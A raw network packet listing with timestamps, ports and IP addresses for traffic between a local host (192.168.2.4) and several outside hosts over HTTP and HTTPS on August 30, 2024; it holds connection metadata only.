Aug 30, 2024 06:17:06.835089922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835098982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.835099936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835124016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.835143089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.835163116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835174084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835181952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835206985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.835227013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840394020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840410948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840419054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840441942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840454102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840455055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840464115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840501070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840562105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840572119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840580940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840591908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840603113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840612888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840620041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840641975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840670109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840679884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840688944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840699911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840709925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.840711117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840735912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840742111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.840928078 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.840944052 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.840976954 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.840989113 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.840997934 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.841022968 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.841105938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841114998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841128111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841135979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841146946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841147900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.841159105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841166973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841172934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.841187000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.841208935 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.841269016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841283083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841294050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.841315985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.841329098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.841384888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.841398954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.841430902 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.841438055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.841456890 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.841475964 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.841622114 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:17:06.841972113 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.841985941 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.842027903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.842035055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.842056990 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.842056036 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:17:06.842056036 CEST	49730	80	192.168.2.4	195.10.205.48
Aug 30, 2024 06:17:06.842073917 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.842472076 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.842494965 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.842526913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.842533112 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.842556000 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.842569113 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.842700958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842711926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842720032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842735052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842745066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842746973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842753887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842762947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842767954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842771053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842787981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842792034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842797041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842797995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842808962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842833042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842833042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842854977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.842972994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842983007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.842992067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843002081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843014956 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843038082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843075991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843085051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843094110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843113899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843141079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843239069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843249083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843262911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843272924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843281031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843285084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843291044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843297958 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843301058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843311071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843321085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843321085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843329906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843339920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843343973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843349934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843353033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843359947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843379974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843394995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843403101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843405962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843427896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843434095 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.843441963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843447924 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.843480110 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.843487024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.843519926 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.843707085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843722105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843743086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843755960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843760014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843769073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843777895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843786001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843795061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843796015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843805075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843821049 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843825102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843833923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843847990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843849897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843858004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.843861103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843875885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.843899012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844003916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844011068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844019890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844039917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844062090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844139099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844146967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844172955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844182968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844189882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844189882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844192982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844225883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844225883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844253063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844261885 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844264030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844273090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844283104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.844289064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844302893 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844325066 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844330072 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844341040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.844347000 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844357014 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844372034 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844377041 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844398022 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844419003 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844902992 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844919920 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844950914 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844955921 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844965935 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.844973087 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844990969 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.844994068 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.845011950 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.845032930 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.845277071 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.845294952 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.845325947 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.845333099 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.845352888 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.845365047 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.848879099 CEST	80	49730	195.10.205.48	192.168.2.4
Aug 30, 2024 06:17:06.880256891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880266905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880275965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880286932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880296946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880310059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880321026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880327940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880327940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880354881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880372047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880378008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880387068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880397081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880418062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880431890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880431890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880464077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880470037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880533934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880544901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880561113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880572081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880575895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880584002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880613089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880613089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880742073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880757093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880768061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880810022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880845070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880855083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880863905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880896091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880896091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880929947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880942106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880956888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.880974054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880974054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.880995035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881004095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881006002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881031990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881033897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881041050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881042004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881052017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881063938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881087065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881100893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881196022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881205082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881252050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881263018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881263971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881283998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881294012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881304026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881306887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881314039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881319046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881347895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881366968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881520987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881530046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881575108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881625891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881638050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881648064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881659031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881684065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881691933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881705999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881707907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881725073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881735086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881745100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881752968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881752968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881771088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881781101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881789923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881797075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881815910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881834030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881863117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881874084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881882906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881892920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881903887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881911993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881917953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881923914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881928921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881939888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881969929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881979942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.881984949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881984949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.881984949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.882016897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.882025003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.884176016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884232044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.884289980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884299040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884305000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884315968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884330034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884345055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884357929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.884357929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.884377003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.884387016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.884489059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.885931969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.885965109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.885976076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886023045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886023045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886029959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886039972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886048079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886059046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886080027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886085033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886095047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.886096954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.886104107 CEST	80	49733	147.45.44.104	192.168.2.4
